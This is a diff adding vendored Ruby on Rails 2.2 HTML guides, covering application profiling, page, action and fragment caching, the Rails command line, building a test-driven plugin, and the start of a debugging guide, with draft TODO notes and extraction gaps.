As you can see the calls have been separated into slices, no longer is the order determined by process time but instead from hierarchy. Each slice profiles a primary entry, with the primary entry's parents being shown above itself and it's children found below. A primary entry can be ascertained by it having values in the %total and %self columns. Here the main entry here have been bolded for connivence.
+
So if we look at the last slice. The primary entry would be Array#each_index. It takes 0.18% of the total process time and it is only called once. It is called from Object#make_random_array which is only called once. It's children are Kernal.rand which is called by it all 500 its times that it was call in this action and Arry#[]= which was called 500 times by Array#each_index and once by some other entry.
+
5.4. Tree Files
+
It's pointless trying to represent a tree file textually so here's a few pretty pictures of it's usefulness
+
KCachegrind Graph
+
+
+
KCachegrind List
+
+
+
#TODO Add a bit more information to this.
+
+
6. Getting to the Point of all of this
+
+
Now I know all of this is a bit dry and academic. But it's a very powerful tool when you know how to leverage it properly. Which we are going to take a look at in our next section
+
+
7. Real Life Example
+
+
7.1. The setup
+
So I have been building this application for the last month and feel pretty good about the ruby code. I'm readying it for beta testers when I discover to my shock that with less then twenty people it starts to crash. It's a pretty simple Ecommerce site so I'm very confused by what I'm seeing. On running looking through my log files I find to my shock that the lowest time for a page run is running around 240 ms. My database finds aren't the problems so I'm lost as to what is happening to cause all this. Lets run a benchmark.
+
+
+
class HomepageTest < ActionController::PerformanceTest
+ # Replace this with your real tests.
+ def test_homepage
+ get '/'
+ end
+end
+
+
+
Example: Output
+
+
HomepageTest#test_homepage (115 ms warmup)
+ process_time: 591 ms
+ memory: 3052.90 KB
+ objects: 59471
+
+
Obviously something is very very wrong here. 3052.90 Kb to load my minimal homepage. For Comparison for another site running well I get this for my homepage test.
+
+
Example: Default
+
+
HomepageTest#test_homepage (19 ms warmup)
+ process_time: 26 ms
+ memory: 298.79 KB
+ objects: 1917
+
+
that over a factor of ten difference. Lets look at our flat process time file to see if anything pops out at us.
Yes indeed we seem to have found the problem. Pathname#cleanpath_aggressive is taking nearly a quarter our process time and Pathname#chop_basename another 17%. From here I do a few more benchmarks to make sure that these processes are slowing down the other pages. They are so now I know what I must do. If we can get rid of or shorten these processes we can make our pages run much quicker.
+
Now both of these are main ruby processes so are goal right now is to find out what other process is calling them. Glancing at our Graph file I see that #cleanpath is calling #cleanpath_aggressive. #cleanpath is being called by String#gsub and from there some html template errors. But my page seems to be rendering fine. why would it be calling template errors. I'm decide to check my object flat file to see if I can find any more information.
Ok so it seems Regexp#to_s is the second costliest process. At this point I try to figure out what could be calling a regular expression cause I very rarely use them. Going over my standard layout I discover at the top.
+
+
+
<%if request.env["HTTP_USER_AGENT"].match(/Opera/)%>
+<%= stylesheet_link_tag "opera" %>
+<% end %>
+
+
That's wrong. I mistakenly am using a search function for a simple compare function. Lets fix that.
process_time: 75 ms
+ memory: 519.95 KB
+ objects: 6537
+
+
Much better. The problem has been solved. Now I should have realized earlier due to the String#gsub that my problem had to be with reqexp serch function but such knowledge comes with time. Looking through the mass output data is a skill.
+
+
8. Get Yourself a Game Plan
+
+
You end up dealing with a large amount of data whenever you profile an application. It's crucial to use a rigorous approach to analyzing your application's performance else fail miserably in a vortex of numbers. This leads us to -
+
8.1. The Analysis Process
+
I’m going to give an example methodology for conducting your benchmarking and profiling on an application. It is based on your typical scientific method.
+
For something as complex as Benchmarking you need to take any methodology with a grain of salt but there are some basic strictures that you can depend on.
+
Formulate a question you need to answer which is simple, tests the smallest measurable thing possible, and is exact. This is typically the hardest part of the experiment. From there some steps that you should follow are.
+
+
+
+Develop a set of variables and processes to measure in order to answer this question!
+
+
+
+
+Profile based on the question and variables. Key problems to avoid when designing this experiment are:
+
+
+
+
+Confounding: Test one thing at a time, keep everything the same so you don't poison the data with uncontrolled processes.
+
+
+
+
+Cross Contamination: Make sure that runs from one test do not harm the other tests.
+
+
+
+
+Steady States: If you’re testing long running process. You must take the ramp up time and performance hit into your initial measurements.
+
+
+
+
+Sampling Error: Data should perform have a steady variance or range. If you get wild swings or sudden spikes, etc. then you must either account for the reason why or you have a sampling error.
+
+
+
+
+Measurement Error: Aka Human error, always go through your calculations at least twice to make sure there are no mathematical errors. .
+
+
+
+
+
+
+Do a small run of the experiment to verify the design.
+
+
+
+
+Use the small run to determine a proper sample size.
+
+
+
+
+Run the test.
+
+
+
+
+Perform the analysis on the results and determine where to go from there.
+
+
+
+
Note: Even though we are using the typical scientific method; developing a hypothesis is not always useful in terms of profiling.
+
+
9. Other Profiling Tools
+
+
There are a lot of great profiling tools out there. Some free, some not so free. This is a sort list detailing some of them.
A necessary tool in your arsenal. Very useful for load testing your website.
+
#TODO write and link to a short article on how to use httperf. Anybody have a good tutorial availble.
+
9.2. Rails Analyzer
+
The Rails Analyzer project contains a collection of tools for Rails. It's open source and pretty speedy. It's not being actively worked on but is still contains some very useful tools.
+
+
+
+The Production Log Analyzer examines Rails log files and gives back a report. It also includes action_grep which will give you all log results for a particular action.
+
+
+
+
+The Action Profiler similar to Ruby-Prof profiler.
+
+
+
+
+rails_stat which gives a live counter of requests per second of a running Rails app.
+
+
+
+
+The SQL Dependency Grapher allows you to visualize the frequency of table dependencies in a Rails application.
+
The one major caveat is that it needs your log to be in a different format from how rails sets it up specifically SyslogLogger.
+
9.2.1. SyslogLogger
+
SyslogLogger is a Logger work-alike that logs via syslog instead of to a file. You can add SyslogLogger to your Rails production environment to aggregate logs between multiple machines.
If you don't have access to your machines root system or just want something a bit easier to implement there is also a module developed by Geoffrey Grosenbach
+
9.2.2. A Hodel 3000 Compliant Logger for the Rest of Us
Pretty nifty performance tools, pricey though. They do have a basic free
+service both for when in development and when you put your application into production. Very simple installation and signup.
+
#TODO more in-depth without being like an advertisement.
Everyone caches. This guide will teach you what you need to know about
+avoiding that expensive round-trip to your database and returning what you
+need to return to those hungry web clients in the shortest time possible.
+
+
+
1. Basic Caching
+
+
This is an introduction to the three types of caching techniques that Rails
+provides by default without the use of any third party plugins.
+
To get started make sure config.action_controller.perform_caching is set
+to true for your environment. This flag is normally set in the
+corresponding config/environments/*.rb and caching is disabled by default
+there for development and test, and enabled for production.
+
+
+
config.action_controller.perform_caching =true
+
+
1.1. Page Caching
+
Page caching is a Rails mechanism which allows the request for a generated
+page to be fulfilled by the webserver, without ever having to go through the
+Rails stack at all. Obviously, this is super-fast. Unfortunately, it can't be
+applied to every situation (such as pages that need authentication) and since
+the webserver is literally just serving a file from the filesystem, cache
+expiration is an issue that needs to be dealt with.
+
So, how do you enable this super-fast cache behavior? Simple, let's say you
+have a controller called ProductsController and a list action that lists all
+the products
The first time anyone requests products/index, Rails will generate a file
+called index.html and the webserver will then look for that file before it
+passes the next request for products/index to your Rails application.
+
By default, the page cache directory is set to Rails.public_path (which is
+usually set to RAILS_ROOT + "/public") and this can be configured by
+changing the configuration setting ActionController::Base.page_cache_directory. Changing the
+default from /public helps avoid naming conflicts, since you may want to
+put other static html in /public, but changing this will require web
+server reconfiguration to let the web server know where to serve the
+cached files from.
+
The Page Caching mechanism will automatically add a .html exxtension to
+requests for pages that do not have an extension to make it easy for the
+webserver to find those pages and this can be configured by changing the
+configuration setting ActionController::Base.page_cache_extension.
+
In order to expire this page when a new product is added we could extend our
+example controler like this:
If you want a more complicated expiration scheme, you can use cache sweepers
+to expire cached objects when things change. This is covered in the section on Sweepers.
+
1.2. Action Caching
+
One of the issues with Page Caching is that you cannot use it for pages that
+require to restrict access somehow. This is where Action Caching comes in.
+Action Caching works like Page Caching except for the fact that the incoming
+web request does go from the webserver to the Rails stack and Action Pack so
+that before filters can be run on it before the cache is served, so that
+authentication and other restrictions can be used while still serving the
+result of the output from a cached copy.
+
Clearing the cache works in the exact same way as with Page Caching.
+
Let's say you only wanted authenticated users to edit or create a Product
+object, but still cache those pages:
And you can also use :if (or :unless) to pass a Proc that specifies when the
+action should be cached. Also, you can use :layout ⇒ false to cache without
+layout so that dynamic information in the layout such as logged in user info
+or the number of items in the cart can be left uncached. This feature is
+available as of Rails 2.2.
+
[More: more examples? Walk-through of Action Caching from request to response?
+ Description of Rake tasks to clear cached files? Show example of
+ subdomain caching? Talk about :cache_path, :if and assing blocks/Procs
+ to expire_action?]
+
1.3. Fragment Caching
+
Life would be perfect if we could get away with caching the entire contents of
+a page or action and serving it out to the world. Unfortunately, dynamic web
+applications usually build pages with a variety of components not all of which
+have the same caching characteristics. In order to address such a dynamically
+created page where different parts of the page need to be cached and expired
+differently Rails provides a mechanism called Fragment Caching.
+
Fragment Caching allows a fragment of view logic to be wrapped in a cache
+block and served out of the cache store when the next request comes in.
+
As an example, if you wanted to show all the orders placed on your website
+in real time and didn't want to cache that part of the page, but did want
+to cache the part of the page which lists all products available, you
+could use this piece of code:
+
+
+
<% Order.find_recent.each do |o| %>
+ <%= o.buyer.name %> bought <% o.product.name %>
+<% end %>
+
+<% cache do %>
+ All available products:
+ <% Product.find(:all).each do |p| %>
+ <%= link_to p.name, product_url(p) %>
+ <% end %>
+<% end %>
+
+
The cache block in our example will bind to the action that called it and is
+written out to the same place as the Action Cache, which means that if you
+want to cache multiple fragments per action, you should provide an action_suffix to the cache call:
+
+
+
<% cache(:action =>'recent',:action_suffix =>'all_products')do%>
+ All available products:
+
+
and you can expire it using the expire_fragment method, like so:
Cache sweeping is a mechanism which allows you to get around having a ton of
+expire_{page,action,fragment} calls in your code by moving all the work
+required to expire cached content into a ActionController::Caching::Sweeper
+class that is an Observer and looks for changes to an object via callbacks,
+and when a change occurs it expires the caches associated with that object n
+an around or after filter.
+
Continuing with our Product controller example, we could rewrite it with a
+sweeper such as the following:
+
+
+
class StoreSweeper < ActionController::Caching::Sweeper
+ observe Product # This sweeper is going to keep an eye on the Post model
+
+ # If our sweeper detects that a Post was created call this
+ def after_create(product)
+ expire_cache_for(product)
+ end
+
+ # If our sweeper detects that a Post was updated call this
+ def after_update(product)
+ expire_cache_for(product)
+ end
+
+ # If our sweeper detects that a Post was deleted call this
+ def after_destroy(product)
+ expire_cache_for(product)
+ end
+
+ private
+ def expire_cache_for(record)
+ # Expire the list page now that we added a new product
+ expire_page(:controller =>'#{record}',:action =>'list')
+
+ # Expire a fragment
+ expire_fragment(:controller =>'#{record}',:action =>'recent',:action_suffix =>'all_products')
+ end
+end
+
+
Then we add it to our controller to tell it to call the sweeper when certain
+actions are called. So, if we wanted to expire the cached content for the
+list and edit actions when the create action was called, we could do the
+following:
Query caching is a Rails feature that caches the result set returned by each
+query so that if Rails encounters the same query again for that request, it
+will used the cached result set as opposed to running the query against the
+database again.
+
For example:
+
+
+
class ProductsController < ActionController
+
+ before_filter :authenticate,:only =>[:edit,:create ]
+ caches_page :list
+ caches_action :edit
+ cache_sweeper :store_sweeper,:only =>[:create ]
+
+ def list
+ # Run a find query
+ Product.find(:all)
+
+ ...
+
+ # Run the same query again
+ Product.find(:all)
+ end
+
+ def create
+ expire_page :action =>:list
+ expire_action :action =>:edit
+ end
+
+ def edit;end
+
+end
+
+
In the list action above, the result set returned by the first
+Product.find(:all) will be cached and will be used to avoid querying the
+database again the second time that finder is called.
+
Query caches are created at the start of an action and destroyed at the end of
+that action and thus persist only for the duration of the action.
+
1.6. Cache stores
+
Rails provides different stores for the cached data for action and fragment
+caches. Page caches are always stored on disk.
+
The cache stores provided include:
+
1) Memory store: Cached data is stored in the memory allocated to the Rails
+ process, which is fine for WEBrick and for FCGI (if you
+ don't care that each FCGI process holds its own fragment
+ store). It's not suitable for CGI as the process is thrown
+ away at the end of each request. It can potentially also
+ take up a lot of memory since each process keeps all the
+ caches in memory.
2) File store: Cached data is stored on the disk, this is the default store
+ and the default path for this store is: /tmp/cache. Works
+ well for all types of environments and allows all processes
+ running from the same application directory to access the
+ cached content.
3) DRb store: Cached data is stored in a separate shared DRb process that all
+ servers communicate with. This works for all environments and
+ only keeps one cache around for all processes, but requires
+ that you run and manage a separate DRb process.
Along with the built-in mechanisms outlined above, a number of excellent
+plugins exist to help with finer grained control over caching. These include
+Chris Wanstrath's excellent cache_fu plugin (more info here:
+http://errtheblog.com/posts/57-kickin-ass-w-cachefu) and Evan Weaver's
+interlock plugin (more info here:
+http://blog.evanweaver.com/articles/2007/12/13/better-rails-caching/). Both
+of these plugins play nice with memcached and are a must-see for anyone
+seriously considering optimizing their caching needs.
+
+
+
+
+
+
diff --git a/vendor/rails/railties/doc/guides/html/command_line.html b/vendor/rails/railties/doc/guides/html/command_line.html
new file mode 100644
index 00000000..2add2044
--- /dev/null
+++ b/vendor/rails/railties/doc/guides/html/command_line.html
@@ -0,0 +1,434 @@
+
+
+
+
+ A Guide to The Rails Command Line
+
+
+
+
+
+
+
+
+
+
+
+
+
Ruby on Rails
+
Sustainable productivity for web-application development
Rails will set you up with what seems like a huge amount of stuff for such a tiny command! You've got the entire Rails directory structure now with all the code you need to run our simple application right out of the box.
+
+
+
+
+
+
This output will seem very familiar when we get to the generate command. Creepy foreshadowing!
+
+
+
1.2. server
+
Let's try it! The server command launches a small web server written in Ruby named WEBrick which was also installed when you installed Rails. You'll use this any time you want to view your work through a web browser.
+
+
+
+
+
+
WEBrick isn't your only option for serving Rails. We'll get to that in a later section. [XXX: which section]
+
+
+
Here we'll flex our server command, which without any prodding of any kind will run our new shiny Rails app:
+
+
+
$ cd commandsapp
+$ ./script/server
+=> Booting WEBrick...
+=> Rails 2.2.0 application started on http://0.0.0.0:3000
+=> Ctrl-C to shutdown server; call with --help for options
+[2008-11-0410:11:38] INFO WEBrick 1.3.1
+[2008-11-0410:11:38] INFO ruby 1.8.5(2006-12-04)[i486-linux]
+[2008-11-0410:11:38] INFO WEBrick::HTTPServer#start: pid=18994 port=3000
+
+
WHOA. With just three commands we whipped up a Rails server listening on port 3000. Go! Go right now to your browser and go to http://localhost:3000. I'll wait.
+
See? Cool! It doesn't do much yet, but we'll change that.
+
1.3. generate
+
The generate command uses templates to create a whole lot of things. You can always find out what's available by running generate by itself. Let's do that:
You can install more generators through generator gems, portions of plugins you'll undoubtedly install, and you can even create your own!
+
+
+
Using generators will save you a large amount of time by writing boilerplate code for you — necessary for the darn thing to work, but not necessary for you to spend time writing. That's what we have computers for, right?
+
Let's make our own controller with the controller generator. But what command should we use? Let's ask the generator:
+
+
+
+
+
+
All Rails console utilities have help text. For commands that require a lot of input to run correctly, you can just try the command without any parameters (like rails or ./script/generate). For others, you can try adding —help or -h to the end, as in ./script/server —help.
Ah, the controller generator is expecting parameters in the form of generate controller ControllerName action1 action2. Let's make a Greetings controller with an action of hello, which will say something nice to us.
Look there! Now what all did this generate? It looks like it made sure a bunch of directories were in our application, and created a controller file, a functional test file, a helper for the view, and a view file. All from one command!
A Rails plugin is either an extension or a modification of the core framework. Plugins provide:
+
+
+
+a way for developers to share bleeding-edge ideas without hurting the stable code base
+
+
+
+
+a segmented architecture so that units of code can be fixed or updated on their own release schedule
+
+
+
+
+an outlet for the core developers so that they don’t have to include every cool new feature under the sun
+
+
+
+
After reading this guide you should be familiar with:
+
+
+
+Creating a plugin from scratch
+
+
+
+
+Writing and running tests for the plugin
+
+
+
+
+Storing models, views, controllers, helpers and even other plugins in your plugins
+
+
+
+
+Writing generators
+
+
+
+
+Writing custom Rake tasks in your plugin
+
+
+
+
+Generating RDoc documentation for your plugin
+
+
+
+
+Avoiding common pitfalls with init.rb
+
+
+
+
This guide describes how to build a test-driven plugin that will:
+
+
+
+Extend core ruby classes like Hash and String
+
+
+
+
+Add methods to ActiveRecord::Base in the tradition of the acts_as plugins
+
+
+
+
+Add a view helper that can be used in erb templates
+
+
+
+
+Add a new generator that will generate a migration
+
+
+
+
+Add a custom generator command
+
+
+
+
+A custom route method that can be used in routes.rb
+
+
+
+
For the purpose of this guide pretend for a moment that you are an avid bird watcher. Your favorite bird is the Yaffle, and you want to create a plugin that allows other developers to share in the Yaffle goodness. First, you need to get setup for development.
+
+
+
1. Preparation
+
+
1.1. Create the basic app
+
The examples in this guide require that you have a working rails application. To create a simple rails app execute:
The aforementioned instructions will work for sqlite3. For more detailed instructions on how to create a rails app for other databases see the API docs.
+
+
+
1.2. Generate the plugin skeleton
+
Rails ships with a plugin generator which creates a basic plugin skeleton. Pass the plugin name, either CamelCased or under_scored, as an argument. Pass --with-generator to add an example generator also.
+
This creates a plugin in vendor/plugins including an init.rb and README as well as standard lib, task, and test directories.
To begin just change one thing - move init.rb to rails/init.rb.
+
1.3. Setup the plugin for testing
+
If your plugin interacts with a database, you'll need to setup a database connection. In this guide you will learn how to test your plugin against multiple different database adapters using Active Record. This guide will not cover how to use fixtures in plugin tests.
+
To setup your plugin to allow for easy testing you'll need to add 3 files:
+
+
+
+A database.yml file with all of your connection strings
+
ENV['RAILS_ENV']='test'
+ENV['RAILS_ROOT']||= File.dirname(__FILE__)+'/../../../..'
+
+require'test/unit'
+require File.expand_path(File.join(ENV['RAILS_ROOT'],'config/environment.rb'))
+
+def load_schema
+ config = YAML::load(IO.read(File.dirname(__FILE__)+'/database.yml'))
+ ActiveRecord::Base.logger = Logger.new(File.dirname(__FILE__)+"/debug.log")
+
+ db_adapter = ENV['DB']
+
+ # no db passed, try one of these fine config-free DBs before bombing.
+ db_adapter ||=
+ begin
+ require'rubygems'
+ require'sqlite'
+ 'sqlite'
+ rescue MissingSourceFile
+ begin
+ require'sqlite3'
+ 'sqlite3'
+ rescue MissingSourceFile
+ end
+ end
+
+ if db_adapter.nil?
+ raise"No DB Adapter selected. Pass the DB= option to pick one, or install Sqlite or Sqlite3."
+ end
+
+ ActiveRecord::Base.establish_connection(config[db_adapter])
+ load(File.dirname(__FILE__)+"/schema.rb")
+ require File.dirname(__FILE__)+'/../rails/init.rb'
+end
+
+
Now whenever you write a test that requires the database, you can call load_schema.
+
1.4. Run the plugin tests
+
Once you have these files in place, you can write your first test to ensure that your plugin-testing setup is correct. By default rails generates a file in vendor/plugins/yaffle/test/yaffle_test.rb with a sample test. Replace the contents of that file with:
+
vendor/plugins/yaffle/test/yaffle_test.rb:
+
+
+
require File.dirname(__FILE__)+'/test_helper.rb'
+
+class YaffleTest < Test::Unit::TestCase
+ load_schema
+
+ class Hickwall < ActiveRecord::Base
+ end
+
+ class Wickwall < ActiveRecord::Base
+ end
+
+ def test_schema_has_loaded_correctly
+ assert_equal [], Hickwall.all
+ assert_equal [], Wickwall.all
+ end
+
+end
+
+
To run this, go to the plugin directory and run rake:
By default the setup above runs your tests with sqlite or sqlite3. To run tests with one of the other connection strings specified in database.yml, pass the DB environment variable to rake:
The first thing we need to to is to require our lib/yaffle.rb file from rails/init.rb:
+
vendor/plugins/yaffle/rails/init.rb
+
+
+
require'yaffle'
+
+
Then in lib/yaffle.rb require lib/core_ext.rb:
+
vendor/plugins/yaffle/lib/yaffle.rb
+
+
+
require"yaffle/core_ext"
+
+
Finally, create the core_ext.rb file and add the to_squawk method:
+
vendor/plugins/yaffle/lib/yaffle/core_ext.rb
+
+
+
String.class_eval do
+ def to_squawk
+ "squawk! #{self}".strip
+ end
+end
+
+
To test that your method does what it says it does, run the unit tests with rake from your plugin directory. To see this in action, fire up a console and start squawking:
When rails loads plugins it looks for the file named init.rb. However, when the plugin is initialized, init.rb is invoked via eval (not require) so it has slightly different behavior.
+
Under certain circumstances if you reopen classes or modules in init.rb you may inadvertently create a new class, rather than reopening an existing class. A better alternative is to reopen the class in a different file, and require that file from init.rb, as shown above.
+
If you must reopen a class in init.rb you can use module_eval or class_eval to avoid any issues:
+
vendor/plugins/yaffle/init.rb
+
+
+
Hash.class_eval do
+ def is_a_special_hash?
+ true
+ end
+end
+
+
Another way is to explicitly define the top-level module space for all modules and classes, like ::Hash:
+
vendor/plugins/yaffle/init.rb
+
+
+
class::Hash
+ def is_a_special_hash?
+ true
+ end
+end
+
+
+
3. Add an acts_as_yaffle method to Active Record
+
+
A common pattern in plugins is to add a method called acts_as_something to models. In this case, you want to write a method called acts_as_yaffle that adds a squawk method to your models.
Note that after requiring acts_as_yaffle you also have to include it into ActiveRecord::Base so that your plugin methods will be available to the rails models.
+
One of the most common plugin patterns for acts_as_yaffle plugins is to structure your file like so:
module Yaffle
+ defself.included(base)
+ base.send :extend, ClassMethods
+ end
+
+ module ClassMethods
+ # any method placed here will apply to classes, like Hickwall
+ def acts_as_something
+ send :include, InstanceMethods
+ end
+ end
+
+ module InstanceMethods
+ # any method placed here will apply to instaces, like @hickwall
+ end
+end
+
+
With structure you can easily separate the methods that will be used for the class (like Hickwall.some_method) and the instance (like @hickwell.some_method).
+
3.1. Add a class method
+
This plugin will expect that you've added a method to your model named last_squawk. However, the plugin users might have already defined a method on their model named last_squawk that they use for something else. This plugin will allow the name to be changed by adding a class method called yaffle_text_field.
+
To start out, write a failing test that shows the behavior you'd like:
This plugin will add a method named squawk to any Active Record objects that call acts_as_yaffle. The squawk method will simply set the value of one of the fields in the database.
+
To start out, write a failing test that shows the behavior you'd like:
The use of write_attribute to write to the field in model is just one example of how a plugin can interact with the model, and will not always be the right method to use. For example, you could also use send("#{self.class.yaffle_text_field}=", string.to_squawk).
+
+
+
+
4. Create a generator
+
+
Many plugins ship with generators. When you created the plugin above, you specified the —with-generator option, so you already have the generator stubs in vendor/plugins/yaffle/generators/yaffle.
+
Building generators is a complex topic unto itself and this section will cover one small aspect of generators: creating a generator that adds a time-stamped migration.
+
To create a generator you must:
+
+
+
+Add your instructions to the manifest method of the generator
+
+
+
+
+Add any necessary template files to the templates directory
+
+
+
+
+Test the generator manually by running various combinations of script/generate and script/destroy
+
+
+
+
+Update the USAGE file to add helpful documentation for your generator
+
+
+
+
4.1. Testing generators
+
Many rails plugin authors do not test their generators, however testing generators is quite simple. A typical generator test does the following:
+
+
+
+Creates a new fake rails root directory that will serve as destination
+
+
+
+
+Runs the generator forward and backward, making whatever assertions are necessary
+
+
+
+
+Removes the fake rails root
+
+
+
+
For the generator in this section, the test could look something like this:
You can run rake from the plugin directory to see this fail. Unless you are doing more advanced generator commands it typically suffices to just test the Generate script, and trust that rails will handle the Destroy and Update commands for you.
+
4.2. Adding to the manifest
+
This example will demonstrate how to use one of the built-in generator methods named migration_template to create a migration file. To start, update your generator file to look like this:
class YaffleGenerator < Rails::Generator::NamedBase
+ def manifest
+ record do|m|
+ m.migration_template 'migration:migration.rb',"db/migrate",{:assigns => yaffle_local_assigns,
+ :migration_file_name =>"add_yaffle_fields_to_#{custom_file_name}"
+ }
+ end
+ end
+
+ private
+ def custom_file_name
+ custom_name = class_name.underscore.downcase
+ custom_name = custom_name.pluralize if ActiveRecord::Base.pluralize_table_names
+ end
+
+ def yaffle_local_assigns
+ returning(assigns ={})do
+ assigns[:migration_action]="add"
+ assigns[:class_name]="add_yaffle_fields_to_#{custom_file_name}"
+ assigns[:table_name]= custom_file_name
+ assigns[:attributes]=[Rails::Generator::GeneratedAttribute.new("last_squawk","string")]
+ end
+ end
+end
+
+
The generator creates a new file in db/migrate with a timestamp and an add_column statement. It reuses the built in rails migration_template method, and reuses the built-in rails migration template.
+
It's courteous to check to see if table names are being pluralized whenever you create a generator that needs to be aware of table names. This way people using your generator won't have to manually change the generated files if they've turned pluralization off.
+
4.3. Manually test the generator
+
To run the generator, type the following at the command line:
When you run script/generate yaffle you should see the contents of your vendor/plugins/yaffle/generators/yaffle/USAGE file.
+
For this plugin, update the USAGE file looks like this:
+
+
+
Description:
+ Creates a migration that adds yaffle squawk fields to the given model
+
+Example:
+ ./script/generate yaffle hickwall
+
+ This will create:
+ db/migrate/TIMESTAMP_add_yaffle_fields_to_hickwall
+
+
+
5. Add a custom generator command
+
+
You may have noticed above that you can used one of the built-in rails migration commands migration_template. If your plugin needs to add and remove lines of text from existing files you will need to write your own generator methods.
+
This section describes how you you can create your own commands to add and remove a line of text from routes.rb. This example creates a very simple method that adds or removes a text file.
class YaffleGenerator < Rails::Generator::NamedBase
+ def manifest
+ m.yaffle_definition
+ end
+end
+
+
+
6. Add a model
+
+
This section describes how to add a model named Woodpecker to your plugin that will behave the same as a model in your main app. When storing models, controllers, views and helpers in your plugin, it's customary to keep them in directories that match the rails directories. For this example, create a file structure like this:
Adding directories to the load path makes them appear just like files in the the main app directory - except that they are only loaded once, so you have to restart the web server to see the changes in the browser. Removing directories from the load_once_paths allow those changes to picked up as soon as you save the file - without having to restart the web server. This is particularly useful as you develop the plugin.
Now your test should be passing, and you should be able to use the Woodpecker model from within your rails app, and any changes made to it are reflected immediately when running in development mode.
+
+
7. Add a controller
+
+
This section describes how to add a controller named woodpeckers to your plugin that will behave the same as a controller in your main app. This is very similar to adding a model.
+
You can test your plugin's controller as you would test any other controller:
class WoodpeckersController < ActionController::Base
+
+ def index
+ render :text =>"Squawk!"
+ end
+
+end
+
+
Now your test should be passing, and you should be able to use the Woodpeckers controller in your app. If you add a route for the woodpeckers controller you can start up your server and go to http://localhost:3000/woodpeckers to see your controller in action.
+
+
8. Add a helper
+
+
This section describes how to add a helper named WoodpeckersHelper to your plugin that will behave the same as a helper in your main app. This is very similar to adding a model and a controller.
+
You can test your plugin's helper as you would test any other helper:
require"#{File.dirname(__FILE__)}/test_helper"
+
+class RoutingTest < Test::Unit::TestCase
+
+ def setup
+ ActionController::Routing::Routes.draw do|map|
+ map.yaffles
+ end
+ end
+
+ def test_yaffles_route
+ assert_recognition :get,"/yaffles",:controller =>"yaffles_controller",:action =>"index"
+ end
+
+ private
+
+ # yes, I know about assert_recognizes, but it has proven problematic to
+ # use in these tests, since it uses RouteSet#recognize (which actually
+ # tries to instantiate the controller) and because it uses an awkward
+ # parameter order.
+ def assert_recognition(method, path, options)
+ result = ActionController::Routing::Routes.recognize_path(path,:method => method)
+ assert_equal options, result
+ end
+end
+
You can also see if your routes work by running rake routes from your app directory.
+
+
10. Odds and ends
+
+
10.1. Generate RDoc Documentation
+
Once your plugin is stable, the tests pass on all database and you are ready to deploy do everyone else a favor and document it! Luckily, writing documentation for your plugin is easy.
+
The first step is to update the README file with detailed information about how to use your plugin. A few key things to include are:
+
+
+
+Your name.
+
+
+
+
+How to install.
+
+
+
+
+How to add the functionality to the app (several examples of common use cases).
+
+
+
+
+Warning, gotchas or tips that might help save users time.
+
+
+
+
Once your README is solid, go through and add rdoc comments to all of the methods that developers will use.
+
Before you generate your documentation, be sure to go through and add nodoc comments to those modules and methods that are not important to your users.
+
Once your comments are good to go, navigate to your plugin directory and run:
+
+
+
rake rdoc
+
+
10.2. Write custom Rake tasks in your plugin
+
When you created the plugin with the built-in rails generator, it generated a rake file for you in vendor/plugins/yaffle/tasks/yaffle.rake. Any rake task you add here will be available to the app.
+
Many plugin authors put all of their rake tasks into a common namespace that is the same as the plugin, like so:
+
vendor/plugins/yaffle/tasks/yaffle.rake
+
+
+
namespace :yaffle do
+ desc "Prints out the word 'Yaffle'"
+ task :squawk =>:environment do
+ puts "squawk!"
+ end
+end
+
+
When you run rake -T from your plugin you will see:
+
+
+
yaffle:squawk # Prints out the word 'Yaffle'
+
+
You can add as many files as you want in the tasks directory, and if they end in .rake Rails will pick them up.
+
10.3. Store plugins in alternate locations
+
You can store plugins wherever you want - you just have to add those plugins to the plugins path in environment.rb.
+
Since the plugin is only loaded after the plugin paths are defined, you can't redefine this in your plugins - but it may be good to now.
+
You can even store plugins inside of other plugins for complete plugin madness!
10.4. Create your own Plugin Loaders and Plugin Locators
+
If the built-in plugin behavior is inadequate, you can change almost every aspect of the location and loading process. You can write your own plugin locators and plugin loaders, but that's beyond the scope of this tutorial.
This guide introduces techniques for debugging Ruby on Rails applications. By referring to this guide, you will be able to:
+
+
+
+Understand the purpose of debugging
+
+
+
+
+Track down problems and issues in your application that your tests aren't identifying
+
+
+
+
+Learn the different ways of debugging
+
+
+
+
+Analyze the stack trace
+
+
+
+
+
+
1. View Helpers for Debugging
+
+
One common task is to inspect the contents of a variable. In Rails, you can do this with three methods:
+
+
+
+debug
+
+
+
+
+to_yaml
+
+
+
+
+inspect
+
+
+
+
1.1. debug
+
The debug helper will return a <pre>-tag that renders the object using the YAML format. This will generate human-readable data from any object. For example, if you have this code in a view:
The to_yaml method converts the method to YAML format leaving it more readable, and then the simple_format helper is used to render each line as in the console. This is how debug method does its magic.
+
As a result of this, you will have something like this in your view:
+
+
+
--- !ruby/object:Post
+attributes:
+updated_at: 2008-09-05 22:55:47
+body: It's a very helpful guide for debugging your Rails app.
+title: Rails debugging guide
+published: t
+id: "1"
+created_at: 2008-09-05 22:55:47
+attributes_cache: {}
+
+Title: Rails debugging guide
+
+
1.3. inspect
+
Another useful method for displaying object values is inspect, especially when working with arrays or hashes. This will print the object value as a string. For example:
Rails has built-in support to debug RJS, to active it, set ActionView::Base.debug_rjs to true, this will specify whether RJS responses should be wrapped in a try/catch block that alert()s the caught exception (and then re-raises it).
+
To enable it, add the following in the Rails::Initializer do |config| block inside environment.rb:
+
+
+
config.action_view[:debug_rjs]=true
+
+
Or, at any time, setting ActionView::Base.debug_rjs to true:
+
+
+
ActionView::Base.debug_rjs =true
+
+
+
+
+
+
+
For more information on debugging javascript refer to Firebug, the popular debugger for Firefox.
+
+
+
+
2. The Logger
+
+
It can also be useful to save information to log files at runtime. Rails maintains a separate log file for each runtime environment.
+
2.1. What is The Logger?
+
Rails makes use of Ruby's standard logger to write log information. You can also substitute another logger such as Log4R if you wish.
+
You can specify an alternative logger in your environment.rb or any environment file:
By default, each log is created under RAILS_ROOT/log/ and the log file name is environment_name.log.
+
+
+
2.2. Log Levels
+
When something is logged it's printed into the corresponding log if the log level of the message is equal or higher than the configured log level. If you want to know the current log level you can call the ActiveRecord::Base.logger.level method.
+
The available log levels are: :debug, :info, :warn, :error, and :fatal, corresponding to the log level numbers from 0 up to 4 respectively. To change the default log level, use
+
+
+
config.log_level = Logger::WARN # In any environment initializer, or
+ActiveRecord::Base.logger.level =0# at any time
+
+
This is useful when you want to log under development or staging, but you don't want to flood your production log with unnecessary information.
+
+
+
+
+
+
The default Rails log level is info in production mode and debug in development and test mode.
+
+
+
2.3. Sending Messages
+
